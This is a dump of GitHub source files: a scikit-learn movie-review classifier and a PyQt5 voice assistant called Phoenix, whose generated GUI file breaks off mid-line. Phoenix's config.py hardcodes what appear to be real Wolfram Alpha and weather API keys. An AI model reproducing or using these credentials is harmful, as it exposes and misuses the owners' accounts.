https://github.com/jason741852/MovieReviewClassifier
997432d9c926a6a4571c4c36fb8abba655cb7b29
d93a89d68032b2ba4b10d7922473122d07654ee5
bfbc461eaad78dc338e38773fe5419586e65e820
refs/heads/master
2021-01-01T17:03:11.851296
2017-07-25T02:40:33
2017-07-25T02:40:33
97,987,450
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6201769709587097, "alphanum_fraction": 0.6240708231925964, "avg_line_length": 27.53535270690918, "blob_id": "8bd5b0a16294ebd806947b567f3750f018a23aa8", "content_id": "aa99bccbd10fea18ff153eabb79389667ba99f57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2825, "license_type": "no_license", "max_line_length": 111, "num_lines": 99, "path": "/model.py", "repo_name": "jason741852/MovieReviewClassifier", "src_encoding": "UTF-8", "text": "import nltk, re, pprint\nimport pandas as pd\nfrom nltk import word_tokenize\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import precision_recall_fscore_support as score\nfrom sklearn.datasets import load_iris\nfrom sklearn import tree\nimport random\nimport glob\nimport os\n\nGOOD=1\nBAD=0\n\n\n\nclass ReviewModel():\n\n def __init__(self, dataframe=None):\n self.model = tree.DecisionTreeClassifier()\n self.dataframe = dataframe;\n pass\n\n def get_data(self):\n # Read all positive and negative reviews into a single DataFrame\n list=[]\n column_names = [\"review\",\"label\"]\n for filename in glob.glob(\"txt_sentoken/neg/*.txt\"):\n with open(filename, 'r') as content_file:\n tuple = (content_file.read().replace(\"\\n\",\"\"), BAD)\n list.append(tuple)\n\n for filename in glob.glob(\"txt_sentoken/pos/*.txt\"):\n with open(filename, 'r') as content_file:\n tuple = (content_file.read().replace(\"\\n\",\"\"), GOOD)\n list.append(tuple)\n\n df = pd.DataFrame(list, columns=column_names)\n\n return df\n\n\n def parse_and_split_data(self, df):\n X = df['review']\n self._vect = CountVectorizer(analyzer='word', stop_words='english', ngram_range=(1, 3), binary=False)\n mcl_transformed = self._vect.fit_transform(X)\n print(mcl_transformed.shape[1])\n y = df[\"label\"]\n\n X_train, X_test, y_train, y_test = train_test_split(mcl_transformed, y, test_size=0.8, random_state=10)\n\n self.X = X\n return (X_train, X_test, y_train, y_test)\n\n def train(self, X, y):\n self.model = self.model.fit(X,y)\n return self\n\n def predict(self, X):\n return self.model.predict(X)\n\n def report_scores(self, y_pred, y_actual):\n precision, recall, fscore, _ = score(y_actual, y_pred, labels=[0, 1])\n print('precision: {}'.format(precision))\n print('recall: {}'.format(recall))\n print('fscore: {}'.format(fscore))\n\n def build_tree_graph(self):\n iris = load_iris()\n self.model = self.model.fit(iris.data, iris.target)\n tree.export_graphviz(self.model, out_file='tree.dot')\n os.system(\"dot -Tpng tree.dot -o tree.png\")\n os.system(\"xdg-open tree.png\")\n\n\n\n\ndef main():\n #Instanstiate the wrapper model\n model = ReviewModel()\n\n df = model.get_data()\n\n X_train, X_test, y_train, y_test = model.parse_and_split_data(df)\n\n model = model.train(X_train, y_train)\n\n pred = model.predict(X_test)\n\n model.report_scores(pred, y_test)\n\n model.build_tree_graph()\n\n\nif __name__ == '__main__':\n main()\n" } ]
1
DevangML/Phoenix-The-Virtual-Assistant
https://github.com/DevangML/Phoenix-The-Virtual-Assistant
ce8ebcb27a4acde21b38159a9ed92fa7a31ba271
3fa6949216c49f88717b7c5eaedaf84441029347
eab2ac4db45048893a025b36cf9ba095bfdf32f1
refs/heads/main
2023-07-08T07:32:03.609572
2021-08-09T16:43:11
2021-08-09T16:43:11
394,272,279
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6222222447395325, "alphanum_fraction": 0.8333333134651184, "avg_line_length": 44.5, "blob_id": "2028d3c1810e9a358c82fcf12a63b71f585b92c3", "content_id": "372cefc64723684eef4870c6330aa83cb3b71d3c", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 90, "license_type": "permissive", "max_line_length": 52, "num_lines": 2, "path": "/Phoenix/config/config.py", "repo_name": "DevangML/Phoenix-The-Virtual-Assistant", "src_encoding": "UTF-8", "text": "wolframalpha_id = \"4LXRE2-TEHE99AKKJ\"\nweather_api_key = \"f73e77fa6efab5c5ec319e3732ce8eea\"" }, { "alpha_fraction": 0.6524140238761902, "alphanum_fraction": 0.6849163770675659, "avg_line_length": 48.13178253173828, "blob_id": "0aacc71894e359c95e5c921f74cf320cc3526d61", "content_id": "4534eb7123e18e2a65e384ca46f06a5463a3390f", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6338, "license_type": "permissive", "max_line_length": 253, "num_lines": 129, "path": "/ui_splash_screen.py", "repo_name": "DevangML/Phoenix-The-Virtual-Assistant", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'splash_screen.ui'\n#\n# Created by: PyQt5 UI code generator 5.15.2\n#\n# WARNING: Any manual changes made to this file will be lost when pyuic5 is\n# run again. Do not edit this file unless you know what you are doing.\n\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_SplashScreen(object):\n def setupUi(self, SplashScreen):\n SplashScreen.setObjectName(\"SplashScreen\")\n SplashScreen.resize(750, 443)\n self.centralwidget = QtWidgets.QWidget(SplashScreen)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.gridLayout = QtWidgets.QGridLayout(self.centralwidget)\n self.gridLayout.setObjectName(\"gridLayout\")\n self.dropShadowFrame = QtWidgets.QFrame(self.centralwidget)\n self.dropShadowFrame.setStyleSheet(\"background: rgba(191, 64, 64, 0);\")\n self.dropShadowFrame.setFrameShape(QtWidgets.QFrame.StyledPanel)\n self.dropShadowFrame.setFrameShadow(QtWidgets.QFrame.Raised)\n self.dropShadowFrame.setObjectName(\"dropShadowFrame\")\n self.label = QtWidgets.QLabel(self.dropShadowFrame)\n self.label.setGeometry(QtCore.QRect(0, 0, 731, 411))\n self.label.setStyleSheet(\"border-radius:30px;\")\n self.label.setText(\"\")\n self.label.setPixmap(QtGui.QPixmap(\":/resources/icons/frame10.jpg\"))\n self.label.setScaledContents(True)\n self.label.setObjectName(\"label\")\n self.frame_2 = QtWidgets.QFrame(self.dropShadowFrame)\n self.frame_2.setGeometry(QtCore.QRect(40, 40, 651, 361))\n self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel)\n self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised)\n self.frame_2.setObjectName(\"frame_2\")\n self.verticalLayout = QtWidgets.QVBoxLayout(self.frame_2)\n self.verticalLayout.setObjectName(\"verticalLayout\")\n self.label_title = QtWidgets.QLabel(self.frame_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(1)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_title.sizePolicy().hasHeightForWidth())\n self.label_title.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setFamily(\"Times New Roman\")\n font.setPointSize(62)\n self.label_title.setFont(font)\n self.label_title.setStyleSheet(\"background: rgba(191, 64, 64, 0);\")\n self.label_title.setAlignment(QtCore.Qt.AlignCenter)\n self.label_title.setObjectName(\"label_title\")\n self.verticalLayout.addWidget(self.label_title)\n self.label_description = QtWidgets.QLabel(self.frame_2)\n font = QtGui.QFont()\n font.setFamily(\"Times New Roman\")\n font.setPointSize(16)\n self.label_description.setFont(font)\n self.label_description.setStyleSheet(\"color: rgb(98, 114, 164);\\n\"\n\"background: rgba(191, 64, 64, 0);\")\n self.label_description.setAlignment(QtCore.Qt.AlignCenter)\n self.label_description.setObjectName(\"label_description\")\n self.verticalLayout.addWidget(self.label_description)\n self.progressBar = QtWidgets.QProgressBar(self.frame_2)\n font = QtGui.QFont()\n font.setFamily(\"Times New Roman\")\n font.setPointSize(21)\n self.progressBar.setFont(font)\n self.progressBar.setStyleSheet(\"QProgressBar {\\n\"\n\" \\n\"\n\" background-color: rgb(192, 192, 192);\\n\"\n\" \\n\"\n\" color: rgb(40, 40, 40);\\n\"\n\" border-style: none;\\n\"\n\" border-radius: 15px;\\n\"\n\" text-align: center;\\n\"\n\"}\\n\"\n\"QProgressBar::chunk{\\n\"\n\" border-radius: 15px;\\n\"\n\" background-color: qlineargradient(spread:pad, x1:0, y1:0.523, x2:1, y2:0.534, stop:0 rgba(221, 255, 0, 201), stop:1 rgba(255, 255, 255, 255));\\n\"\n\"}\")\n self.progressBar.setProperty(\"value\", 24)\n self.progressBar.setObjectName(\"progressBar\")\n self.verticalLayout.addWidget(self.progressBar)\n self.label_loading = QtWidgets.QLabel(self.frame_2)\n font = QtGui.QFont()\n font.setFamily(\"Segoe UI\")\n font.setPointSize(12)\n self.label_loading.setFont(font)\n self.label_loading.setStyleSheet(\"color: rgb(255, 254, 129);\\n\"\n\"background: rgba(191, 64, 64, 0);\")\n self.label_loading.setAlignment(QtCore.Qt.AlignCenter)\n self.label_loading.setObjectName(\"label_loading\")\n self.verticalLayout.addWidget(self.label_loading)\n self.label_credits = QtWidgets.QLabel(self.frame_2)\n font = QtGui.QFont()\n font.setFamily(\"Segoe UI\")\n font.setPointSize(10)\n self.label_credits.setFont(font)\n self.label_credits.setStyleSheet(\"color: rgb(98, 114, 164);\\n\"\n\"background: rgba(191, 64, 64, 0);\")\n self.label_credits.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter)\n self.label_credits.setObjectName(\"label_credits\")\n self.verticalLayout.addWidget(self.label_credits)\n self.gridLayout.addWidget(self.dropShadowFrame, 0, 0, 1, 1)\n SplashScreen.setCentralWidget(self.centralwidget)\n\n self.retranslateUi(SplashScreen)\n QtCore.QMetaObject.connectSlotsByName(SplashScreen)\n\n def retranslateUi(self, SplashScreen):\n _translate = QtCore.QCoreApplication.translate\n SplashScreen.setWindowTitle(_translate(\"SplashScreen\", \"MainWindow\"))\n self.label_title.setText(_translate(\"SplashScreen\", \"<html><head/><body><p><span style=\\\" font-size:72pt; color:#fffe81;\\\">Phoenix</span></p></body></html>\"))\n self.label_description.setText(_translate(\"SplashScreen\", \"<html><head/><body><p><span style=\\\" color:#fffe81;\\\">The Virtual Assistant</span></p></body></html>\"))\n self.label_loading.setText(_translate(\"SplashScreen\", \"loading...\"))\n self.label_credits.setText(_translate(\"SplashScreen\", \"<html><head/><body><p><span style=\\\" font-size:12pt; font-weight:600; color:#fffe81;\\\">Created By</span><span style=\\\" font-size:12pt; color:#fffe81;\\\">: Group L1</span></p></body></html>\"))\nimport resources_rc\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n SplashScreen = QtWidgets.QMainWindow()\n ui = Ui_SplashScreen()\n ui.setupUi(SplashScreen)\n SplashScreen.show()\n sys.exit(app.exec_())\n" }, { "alpha_fraction": 0.5267103910446167, "alphanum_fraction": 0.5332083702087402, "avg_line_length": 32.20124435424805, "blob_id": "97f7706249e7030b36fdda703fbe46f04e94a52c", "content_id": "465c94dc855a3871782036823871c932ab41d7dd", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16005, "license_type": "permissive", "max_line_length": 310, "num_lines": 482, "path": "/main.py", "repo_name": "DevangML/Phoenix-The-Virtual-Assistant", "src_encoding": "UTF-8", "text": "import re\nimport os\nimport random\nimport pprint\nimport datetime\nimport requests\nimport pyjokes\nimport time\nimport pyautogui\nimport pywhatkit\nimport wolframalpha\nfrom PIL import Image\nfrom Phoenix import PhoenixAssistant\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom Phoenix.config import config\nfrom gui import Ui_Form\nfrom ui_splash_screen import Ui_SplashScreen\nimport sys\nfrom PyQt5.QtCore import (QRectF)\nfrom PyQt5.QtGui import (QColor, QCursor, QPainterPath, QRegion)\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import QtWidgets, QtCore\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QMovie\n\ncounter = 0\n\nobj = PhoenixAssistant()\n\n# ================================ MEMORY ===========================================================================================================\n\nGREETINGS = [\"hello phoenix\", \"phoenix\", \"wake up phoenix\", \"you there phoenix\", \"time to work phoenix\", \"hey phoenix\",\n \"ok phoenix\", \"are you there\", \"how are you phoenix\", \"how are you\"]\nGREETINGS_RES = [\"always there for you sir\", \"i am ready sir\",\n \"your wish my command\", \"how can i help you sir?\", \"i am online and ready sir\"]\n\n# =======================================================================================================================================================\n\ndef speak(text):\n obj.tts(text)\n\n\napp_id = config.wolframalpha_id\n\n\ndef computational_intelligence(question):\n try:\n client = wolframalpha.Client(app_id)\n answer = client.query(question)\n answer = next(answer.results).text\n print(answer)\n return answer\n except:\n speak(\"Sorry sir I couldn't fetch your question's answer. Please try again \")\n return None\n\n\ndef wish():\n hour = int(datetime.datetime.now().hour)\n if hour>=0 and hour<=12:\n speak(\"Good Morning\")\n elif hour>12 and hour<18:\n speak(\"Good afternoon\")\n else:\n speak(\"Good evening\")\n c_time = obj.tell_time()\n speak(f\"Currently it is {c_time}\")\n speak(\"I am Phoenix. Online and ready. Please tell me how may I help you\")\n\n\n\nclass MainThread(QThread):\n def __init__(self):\n super(MainThread, self).__init__()\n\n\n\n def run(self):\n self.TaskExecution()\n\n\n\n def TaskExecution(self):\n\n wish()\n\n while True:\n command = obj.mic_input()\n\n\n if re.search('date', command):\n date = obj.tell_me_date()\n print(date)\n speak(date)\n\n elif \"time\" in command:\n time_c = obj.tell_time()\n print(time_c)\n speak(f\"Sir the time is {time_c}\")\n\n elif re.search('launch', command):\n dict_app = {\n 'chrome': 'C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe',\n 'notepad': 'C:\\\\WINDOWS\\\\system32\\\\notepad.exe',\n 'pycharm': 'C:\\\\Program Files (x86)\\\\JetBrains\\\\PyCharm Community Edition 2021.1.3\\\\bin\\\\pycharm64.exe',\n 'code': 'C:\\\\Users\\\\User\\\\AppData\\Local\\\\Programs\\\\Microsoft VS Code\\\\Code.exe'\n }\n\n app = command.split(' ', 1)[1]\n path = dict_app.get(app)\n\n if path is None:\n speak('Application path not found')\n print('Application path not found')\n\n else:\n speak('Launching: ' + app + 'for you sir!')\n obj.launch_any_app(path_of_app=path)\n\n elif command in GREETINGS:\n speak(random.choice(GREETINGS_RES))\n\n elif re.search('open', command):\n domain = command.split(' ')[-1]\n open_result = obj.website_opener(domain)\n speak(f'Alright sir !! Opening {domain}')\n print(open_result)\n\n\n elif re.search('weather', command):\n city = command.split(' ')[-1]\n weather_res = obj.weather(city=city)\n print(weather_res)\n speak(weather_res)\n\n elif re.search('tell me about', command):\n topic = command.split(' ')[-1]\n if topic:\n wiki_res = obj.tell_me(topic)\n print(wiki_res)\n speak(wiki_res)\n else:\n speak(\n \"Sorry sir. I couldn't load your query from my database. Please try again\")\n\n elif \"buzzing\" in command or \"news\" in command or \"headlines\" in command:\n news_res = obj.news()\n speak('Source: The Times Of India')\n speak('Todays Headlines are..')\n for index, articles in enumerate(news_res):\n pprint.pprint(articles['title'])\n speak(articles['title'])\n if index == len(news_res)-2:\n break\n speak('These were the top headlines, Have a nice day Sir!!..')\n\n elif \"play music\" in command or \"hit some music\" in command:\n music_dir = \"Music\"\n songs = os.listdir(music_dir)\n for song in songs:\n os.startfile(os.path.join(music_dir, song))\n\n elif 'youtube' in command:\n video = command.split(' ')[1]\n speak(f\"Okay sir, playing {video} on youtube\")\n pywhatkit.playonyt(video)\n\n\n\n if \"joke\" in command:\n joke = pyjokes.get_joke()\n print(joke)\n speak(joke)\n\n\n elif \"where is\" in command:\n place = command.split('where is ', 1)[1]\n current_loc, target_loc, distance = obj.location(place)\n city = target_loc.get('city', '')\n state = target_loc.get('state', '')\n country = target_loc.get('country', '')\n time.sleep(1)\n try:\n\n if city:\n res = f\"{place} is in {state} state and country {country}. It is {distance} km away from your current location\"\n print(res)\n speak(res)\n\n else:\n res = f\"{state} is a state in {country}. It is {distance} km away from your current location\"\n print(res)\n speak(res)\n\n except:\n res = \"Sorry sir, I couldn't get the co-ordinates of the location you requested. Please try again\"\n speak(res)\n\n elif \"ip address\" in command:\n ip = requests.get('https://api.ipify.org').text\n print(ip)\n speak(f\"Your ip address is {ip}\")\n\n\n elif \"switch the window\" in command or \"switch window\" in command:\n speak(\"Okay sir, Switching the window\")\n pyautogui.keyDown(\"alt\")\n pyautogui.press(\"tab\")\n time.sleep(1)\n pyautogui.keyUp(\"alt\")\n\n elif \"where i am\" in command or \"current location\" in command or \"where am i\" in command:\n try:\n city, state, country = obj.my_location()\n print(city, state, country)\n speak(\n f\"You are currently in {city} city which is in {state} state and country {country}\")\n except Exception as e:\n speak(\n \"Sorry sir, I coundn't fetch your current location. Please try again\")\n\n elif \"take screenshot\" in command or \"take a screenshot\" in command or \"capture the screen\" in command:\n speak(\"By what name do you want to save the screenshot?\")\n name = obj.mic_input()\n speak(\"Alright sir, taking the screenshot\")\n img = pyautogui.screenshot()\n name = f\"ss\\\\{name}.png\"\n img.save(name)\n speak(\"The screenshot has been succesfully captured\")\n\n elif \"show me the screenshot\" in command:\n try:\n img = Image.open('' + name)\n img.show(img)\n speak(\"Here it is sir\")\n time.sleep(2)\n\n except IOError:\n speak(\"Sorry sir, I am unable to display the screenshot\")\n\n elif \"hide all files\" in command or \"hide this folder\" in command:\n os.system(\"attrib +h /s /d\")\n speak(\"Sir, all the files in this folder are now hidden\")\n\n elif \"visible\" in command or \"make files visible\" in command:\n os.system(\"attrib -h /s /d\")\n speak(\"Sir, all the files in this folder are now visible to everyone. I hope you are taking this decision in your own peace\")\n\n\n elif \"calculate\" in command:\n question = command\n answer = computational_intelligence(question)\n speak(answer)\n\n elif 'search google for' in command:\n obj.search_anything_google(command)\n \n elif \"what is\" in command:\n question = command\n answer = computational_intelligence(question)\n speak(answer)\n\n\n elif \"goodbye\" in command or \"offline\" in command or \"bye\" in command:\n speak(\"Alright sir, going offline. It was nice working with you\")\n sys.exit()\n\n\n elif (\"wake up\" in command) or (\"get up\" in command):\n speak(\"boss, I am not sleeping, I am in online, what can I do for u\")\n\n\n\n elif ('shutdown the system' in command) or ('down the system' in command):\n speak(\"Boss shutting down the system in 10 seconds\")\n time.sleep(10)\n os.system(\"shutdown /s /t 5\")\n\n elif 'restart the system' in command:\n speak(\"Boss restarting the system in 10 seconds\")\n time.sleep(10)\n os.system(\"shutdown /r /t 5\")\n\n\n elif 'remember that' in command:\n speak(\"what should i remember sir\")\n rememberMessage = obj.mic_input()\n speak(\"you said me to remember\" + rememberMessage)\n remember = open('data.txt', 'w')\n remember.write(rememberMessage)\n remember.close()\n\n elif 'do you remember anything' in command:\n remember = open('data.txt', 'r')\n speak(\"you said me to remember that\" + remember.read())\n\n elif 'it\\'s my birthday today' in command:\n print(\" Wow! Wish you a very Happy Birthday\")\n speak(\" Wow! Wish you a very Happy Birthday\")\n\n elif \"who made you\" in command or \"who created you\" in command or \"who discovered you\" in command:\n speak(\"I was built by Group L1\")\n print(\"I was built by Group L1\")\n\n elif 'who are you' in command or 'what can you do' in command:\n speak(\n 'I am Phoenix version 1 point O your personal assistant. I am programmed to perform tasks like' 'opening youtube,google chrome,gmail and stackoverflow ,predict time,take a photo, etc. I like to help humans in their endeavours and I would like to be remembered as humanity\\'s greatest ally')\n\n\n\n\n\n\n\nstartExecution = MainThread()\n\nclass Main(QtWidgets.QWidget, Ui_Form):\n\n def startAnimation(self):\n self.movie.start()\n self.movie2.start()\n self.movie3.start()\n self.movie4.start()\n\n def stopAnimation(self):\n self.movie.stop()\n self.movie2.stop()\n self.movie3.stop()\n self.movie4.stop()\n\n\n def __init__(self):\n super().__init__()\n self.setupUi(self)\n self.btn_minimize_5.clicked.connect(self.hideWindow)\n\n self.btn_close_5.clicked.connect(self.close)\n\n self.setWindowFlags(Qt.FramelessWindowHint)\n self.setAttribute(Qt.WA_TranslucentBackground)\n\n self.movie = QMovie(\"icons/powersource.gif\")\n self.label_3.setMovie(self.movie)\n\n self.movie2 = QMovie(\"icons/lines1.gif\")\n self.label_4.setMovie(self.movie2)\n\n self.movie3 = QMovie(\"icons/in.gif\")\n self.label_2.setMovie(self.movie3)\n\n self.movie4 = QMovie(\"icons/globe.gif\")\n self.label.setMovie(self.movie4)\n\n\n self.startAnimation()\n\n self.pushButton.clicked.connect(self.startTask)\n\n def startTask(self):\n timer = QTimer(self)\n timer.start(1000)\n startExecution.start()\n\n\n\n\n\n def __del__(self):\n sys.stdout = sys.__stdout__\n\n\n\n\n\n def mousePressEvent(self, event):\n if event.button() == Qt.LeftButton:\n self.m_flag = True\n self.m_Position = event.globalPos() - self.pos() # Get the position of the mouse relative to the window\n event.accept()\n self.setCursor(QCursor(Qt.OpenHandCursor)) # Change mouse icon\n\n def mouseMoveEvent(self, QMouseEvent):\n if Qt.LeftButton and self.m_flag:\n self.move(QMouseEvent.globalPos() - self.m_Position) # Change window position\n QMouseEvent.accept()\n\n def mouseReleaseEvent(self, QMouseEvent):\n self.m_flag = False\n self.setCursor(QCursor(Qt.ArrowCursor))\n\n def resizeEvent(self, event):\n path = QPainterPath()\n path.addRoundedRect(QRectF(self.rect()), 20, 20)\n reg = QRegion(path.toFillPolygon().toPolygon())\n self.setMask(reg)\n\n def hideWindow(self):\n self.showMinimized()\n\n\nclass SplashScreen(QtWidgets.QMainWindow):\n def __init__(self):\n QtWidgets.QMainWindow.__init__(self)\n self.ui = Ui_SplashScreen()\n self.ui.setupUi(self)\n\n ## UI ==> INTERFACE CODES\n ########################################################################\n\n ## REMOVE TITLE BAR\n self.setWindowFlag(QtCore.Qt.FramelessWindowHint)\n self.setAttribute(QtCore.Qt.WA_TranslucentBackground)\n\n\n ## DROP SHADOW EFFECT\n self.shadow = QGraphicsDropShadowEffect(self)\n self.shadow.setBlurRadius(20)\n self.shadow.setXOffset(0)\n self.shadow.setYOffset(0)\n self.shadow.setColor(QColor(0, 0, 0, 60))\n self.ui.dropShadowFrame.setGraphicsEffect(self.shadow)\n\n ## QTIMER ==> START\n self.timer = QtCore.QTimer()\n self.timer.timeout.connect(self.progress)\n # TIMER IN MILLISECONDS\n self.timer.start(35)\n\n # CHANGE DESCRIPTION\n\n # Initial Text\n self.ui.label_description.setText(\"<strong>WELCOME</strong> TO MY APPLICATION\")\n\n # Change Texts\n QtCore.QTimer.singleShot(1500, lambda: self.ui.label_description.setText(\"<strong>LOADING</strong> DATABASE\"))\n QtCore.QTimer.singleShot(3000, lambda: self.ui.label_description.setText(\"<strong>LOADING</strong> USER INTERFACE\"))\n\n\n ## SHOW ==> MAIN WINDOW\n ########################################################################\n self.show()\n ## ==> END ##\n\n ## ==> APP FUNCTIONS\n ########################################################################\n def progress(self):\n\n global counter\n\n # SET VALUE TO PROGRESS BAR\n self.ui.progressBar.setValue(counter)\n\n # CLOSE SPLASH SCREE AND OPEN APP\n if counter > 100:\n # STOP TIMER\n self.timer.stop()\n\n # SHOW MAIN WINDOW\n self.main = Main()\n self.main.show()\n\n # CLOSE SPLASH SCREEN\n self.close()\n\n # INCREASE COUNTER\n counter += 1\n\n\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n window = SplashScreen()\n sys.exit(app.exec_())\n\n app = QtWidgets.QApplication(sys.argv)\n Phoenix = Main()\n Phoenix.show()\n sys.exit(app.exec_())\n window = SplashScreen()\n sys.exit(app.exec_())\n\n\n" }, { "alpha_fraction": 0.6425339579582214, "alphanum_fraction": 0.6538461446762085, "avg_line_length": 27.54838752746582, "blob_id": "86c0ceccb520df4f85227069e6e02bd3c71114f0", "content_id": "5acabb91e86adee59281ca885f9d53c5badc8e1e", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 884, "license_type": "permissive", "max_line_length": 57, "num_lines": 31, "path": "/Phoenix/features/google_search.py", "repo_name": "DevangML/Phoenix-The-Virtual-Assistant", "src_encoding": "UTF-8", "text": "from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport re, pyttsx3\n\n\n\ndef speak(text):\n engine = pyttsx3.init('sapi5')\n voices = engine.getProperty('voices')\n engine.setProperty('voices', voices[0].id)\n engine.say(text)\n engine.runAndWait()\n engine.setProperty('rate', 180)\n\n\ndef google_search(command):\n\n reg_ex = re.search('search google for (.*)', command)\n search_for = command.split(\"for\", 1)[1]\n url = 'https://www.google.com/'\n if reg_ex:\n subgoogle = reg_ex.group(1)\n url = url + 'r/' + subgoogle\n speak(\"Okay sir!\")\n speak(f\"Searching for {subgoogle}\")\n driver = webdriver.Chrome(\n executable_path='driver\\\\chromedriver.exe')\n driver.get('https://www.google.com')\n search = driver.find_element_by_name('q')\n search.send_keys(str(search_for))\n search.send_keys(Keys.RETURN)" }, { "alpha_fraction": 0.6362057328224182, "alphanum_fraction": 0.6780515909194946, "avg_line_length": 48.966941833496094, "blob_id": "651739b77875c2a77194af96f717d90696a8f62e", "content_id": "eec6af7b21967b42697a375eeae484a22293752b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12092, "license_type": "permissive", "max_line_length": 114, "num_lines": 242, "path": "/gui.py", "repo_name": "DevangML/Phoenix-The-Virtual-Assistant", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'gui.ui'\n#\n# Created by: PyQt5 UI code generator 5.15.2\n#\n# WARNING: Any manual changes made to this file will be lost when pyuic5 is\n# run again. Do not edit this file unless you know what you are doing.\n\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_Form(object):\n def setupUi(self, Form):\n Form.setObjectName(\"Form\")\n Form.resize(840, 611)\n self.gridLayout = QtWidgets.QGridLayout(Form)\n self.gridLayout.setObjectName(\"gridLayout\")\n self.frame = QtWidgets.QFrame(Form)\n self.frame.setStyleSheet(\"background-color: rgb(0, 0, 0);\\n\"\n\"border-radius:30px;\")\n self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel)\n self.frame.setFrameShadow(QtWidgets.QFrame.Raised)\n self.frame.setObjectName(\"frame\")\n self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.frame)\n self.verticalLayout_2.setObjectName(\"verticalLayout_2\")\n self.frame_5 = QtWidgets.QFrame(self.frame)\n self.frame_5.setMaximumSize(QtCore.QSize(800, 38))\n self.frame_5.setStyleSheet(\"background: rgba(191, 64, 64, 0);\")\n self.frame_5.setFrameShape(QtWidgets.QFrame.StyledPanel)\n self.frame_5.setFrameShadow(QtWidgets.QFrame.Raised)\n self.frame_5.setObjectName(\"frame_5\")\n self.gridLayout_3 = QtWidgets.QGridLayout(self.frame_5)\n self.gridLayout_3.setObjectName(\"gridLayout_3\")\n self.frame_btns = QtWidgets.QFrame(self.frame_5)\n self.frame_btns.setMaximumSize(QtCore.QSize(56, 22))\n self.frame_btns.setStyleSheet(\"background: rgba(255, 255, 255, 0);\")\n self.frame_btns.setFrameShape(QtWidgets.QFrame.NoFrame)\n self.frame_btns.setFrameShadow(QtWidgets.QFrame.Raised)\n self.frame_btns.setObjectName(\"frame_btns\")\n self.horizontalLayout_7 = QtWidgets.QHBoxLayout(self.frame_btns)\n self.horizontalLayout_7.setContentsMargins(9, 3, 5, 9)\n self.horizontalLayout_7.setSpacing(7)\n self.horizontalLayout_7.setObjectName(\"horizontalLayout_7\")\n self.btn_minimize_5 = QtWidgets.QPushButton(self.frame_btns)\n self.btn_minimize_5.setMinimumSize(QtCore.QSize(16, 16))\n self.btn_minimize_5.setMaximumSize(QtCore.QSize(17, 17))\n self.btn_minimize_5.setStyleSheet(\"QPushButton {\\n\"\n\" border: none;\\n\"\n\" border-radius: 8px; \\n\"\n\" background-color: rgb(255, 170, 0);\\n\"\n\"}\\n\"\n\"QPushButton:hover { \\n\"\n\" background-color: rgba(255, 170, 0, 150);\\n\"\n\"}\")\n self.btn_minimize_5.setText(\"\")\n self.btn_minimize_5.setObjectName(\"btn_minimize_5\")\n self.horizontalLayout_7.addWidget(self.btn_minimize_5)\n self.btn_close_5 = QtWidgets.QPushButton(self.frame_btns)\n self.btn_close_5.setMinimumSize(QtCore.QSize(16, 16))\n self.btn_close_5.setMaximumSize(QtCore.QSize(17, 17))\n self.btn_close_5.setStyleSheet(\"QPushButton {\\n\"\n\" border: none;\\n\"\n\" border-radius: 8px; \\n\"\n\" background-color: rgb(255, 0, 0);\\n\"\n\"}\\n\"\n\"QPushButton:hover { \\n\"\n\" background-color: rgba(255, 0, 0, 150);\\n\"\n\"}\")\n self.btn_close_5.setText(\"\")\n self.btn_close_5.setObjectName(\"btn_close_5\")\n self.horizontalLayout_7.addWidget(self.btn_close_5)\n self.gridLayout_3.addWidget(self.frame_btns, 0, 0, 1, 1)\n spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.gridLayout_3.addItem(spacerItem, 0, 1, 1, 1)\n self.verticalLayout_2.addWidget(self.frame_5)\n self.frame_3 = QtWidgets.QFrame(self.frame)\n self.frame_3.setMinimumSize(QtCore.QSize(97, 145))\n self.frame_3.setMaximumSize(QtCore.QSize(798, 226))\n self.frame_3.setStyleSheet(\"background: rgba(191, 64, 64, 0);\")\n self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel)\n self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised)\n self.frame_3.setObjectName(\"frame_3\")\n self.gridLayout_2 = 